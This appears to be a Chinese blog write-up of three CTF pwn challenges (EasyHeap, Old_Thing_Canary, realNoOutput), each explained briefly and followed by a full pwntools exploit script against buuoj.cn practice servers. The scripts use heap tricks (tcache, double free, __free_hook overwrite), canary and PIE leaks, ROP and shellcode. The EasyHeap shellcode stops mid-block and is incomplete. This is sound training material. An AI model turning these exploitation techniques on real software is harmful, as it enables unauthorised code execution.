这个东东,比赛结束的时候忘记更新了,现在补上
EasyHeap

又是一道列表题目


导致可以一直申请空间,,所以可以先申请7个teche chunk 然后free之后就得到了unsort chunk的一个大堆块,然后就可以泄露libc的基址,然后劫持freehook控制执行流,方便shellcode植入
然后中间卡壳了很久,最后发现他开了seccomp,并且ban掉了execve
所以只能植入shellcode
Exp
from pwn import * context(os='linux',arch='amd64',log_level='debug') p=process('./Easyheap') p=remote('node4.buuoj.cn','28432') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc=ELF('./libc-2.27.so') def add(size,con): p.sendlineafter('>> :\n','1') p.recvuntil('Size:') p.sendline(str(size)) p.recvuntil('Content:') p.sendline(con) def free(idx): p.sendlineafter('>> :\n','2') p.sendlineafter('Index:\n',str(idx)) def show(idx): p.sendlineafter('>> :\n','3') p.sendlineafter('Index:\n',str(idx)) def edit(idx,con): p.sendlineafter('>> :\n','4') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Content:') p.sendline(con) for i in range(7): add(0x100,'a'*0x90) add(0x100,'a'*0x90) add(0x100,'a'*0x90) for i in range(7): free(i) free(7) for i in range(7): add(0x100,'a'*0x90) add(0x100,'') edit(7,'a'*0x20) show(7) libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x3ebc0a#-0x3e7a61#-0x3e4a20 print hex(libc_base) edit(7,'a'*0x18+p64(0x81)) free_hook=libc_base+libc.sym['__free_hook'] print hex(free_hook) exit_hook=libc_base+0x619060+3848 print hex(exit_hook) system=libc_base+libc.sym['system'] malloc_hook=libc_base+libc.sym['__malloc_hook']-0x23 realloc=libc_base+libc.sym['__realloc_hook'] open1=libc_base+libc.sym['open'] rce=libc_base+0x4f365 setcontext = libc_base + libc.sym['setcontext'] + 53 syscall=libc_base+libc.search(asm("syscall\nret")).next() print(hex(syscall)) free(7) edit(0,'a'*0x98+p64(0x21)+p64(free_hook)) layout = [ libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret; free_hook & 0xfffffffffffff000, libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret; 0x2000, libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret; 7, libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret; 10, syscall, #: syscall; ret; libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp; ] shellcode = asm(''' sub rsp, 0x800 push 0x67616c66 mov rdi, rsp xor esi, esi
Old_Thing_Canary
好巧不巧,,这道题目的原版是个canary绕过,前两天刚刚做过原版题目
然后到手一看发现多了的登入和pie保护
然后仔细一看登入存在栈溢出,可以直接绕过,
撞md5了,但是只需要撞个开头为00就好了

因为pass输入还把s2的开头覆盖成\0了,刚好找到个a80
只撞个开头为00
随后发现

又一个栈溢出,然后借助这里泄露canary,然后再调试,出pie,找到


我给它更名为backdoor,这个位置的地址,然后借助栈溢出,用canary+8*”a”+pie_base+backdoor相对位置获取到shell
Exp
from pwn import * p=remote("node4.buuoj.cn",28503)#process("./canary3") context.log_level='debug' p.sendlineafter('username: ','admin\x00') p.sendlineafter('password: ','A80'.ljust(0x20,'\x00')) p.sendlineafter('3.exit\n','2') p.sendafter('your input:\n','a'*(25)) p.sendlineafter('3.exit\n','1') p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaa") canary=b'\x00'+p.recv(7) p.sendlineafter('3.exit\n','2') p.sendafter('your input:\n',b'a'*(24)+b'a'*8*5+b'pppppppp') p.sendlineafter('3.exit\n','1') p.recvuntil(b"pppppppp") #print("fuck",hex(u64(p.recv(6)+b'\x00'*2))) #exit(0) base=u64(p.recv(6)+b'\x00'*2)-(0x56179542b3f5-0x561795429000) print("base",hex(base)) p.sendlineafter('3.exit\n','2') p.sendafter('your input:\n',b'a'*(24)+canary+p64(0)+p64(base+0x239f)) p.sendlineafter('3.exit\n','3') p.interactive()
Realnooutput
首先那道这道题目,有点懵逼,然后就去看了跑了一下,没有任何回显,以为是出问题了,然后我就不断输入一些无效的信息,然后无效,没显示,然后就去ida看看这个程序,
发现这是个没菜单的菜单题目,暂且称之为隐形菜单题

然后玩了一下,大概明白了他的对应的功能,反正首先是必须得创建一个堆块,否则不论输入什么都会break

然后大概就是这样子,
然后进入edit,发现存在任意写,,,麻了

写就是了
然后就去调试了,,然后发现竟然还存在uaf。。麻了,然后double free,然后用任意写写入shellcode,然后就pwn!

EXP
#!/usr/bin/env python3 #coding=utf-8 from pwn import * context.log_level = 'debug' context.arch='amd64' binary = './realNoOutput' main_space = 0x1ebb80 p=remote('node4.buuoj.cn',29284) elf=ELF(binary) libc = ELF('./libc.so.6') def add(index,size,content=b'ReStr0 for pwn'): sleep(0.1) p.sendline('1') sleep(0.1) p.sendline(str(index)) sleep(0.1) p.sendline(str(size)) sleep(0.1) p.sendline(content) def edit(index,content): sleep(0.1) p.sendline('3') sleep(0.1) p.sendline(str(index)) sleep(0.1) p.sendline(content) def show(index): sleep(0.1) p.sendline('4') sleep(0.1) p.sendline(str(index)) def free(index): sleep(0.1) p.sendline('2') sleep(0.1) p.sendline(str(index)) add(0,0x88,b'ReStr0 for pwn')#0 add(1,0x88)#1 free(1) free(0) add(0,0x88,b'')#0 show(0) heap_head = u64(p.recv(6).ljust(0x8,b'\x00'))-0x30a p.success("heap_head==>{}".format(hex(heap_head))) p.recv() add(1,0x88) free(0) free(1) add(9,0x28) edit(1,p64(heap_head+0x360)) add(2,0x88,p64(0)) add(3,0x88)# 使得3 == 2 for i in range(5): add(i+4,0x88)#4-8 add(0,0x88) add(1,0x88) free(0) free(1) for i in range(5): #sleep(1) free(i+4)#4-8 free(2) show(3) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - main_space - 96 p.info("libc_base==>%#x",libc_base) system = libc.sym["system"] + libc_base free_hook = libc.sym["__free_hook"] + libc_base p.info("free_hook==>%#x",free_hook) for i in range(7): add(0,0x88) add(2,0x88)#2 == 3 free(0) free(2) edit(3,p64(free_hook)) add(5,0x88,b'/bin/sh\x00') add(0,0x88,p64(system)) free(5) #gdb.attach(p,'b *$rebase(0x17db)') p.interactive()
发表评论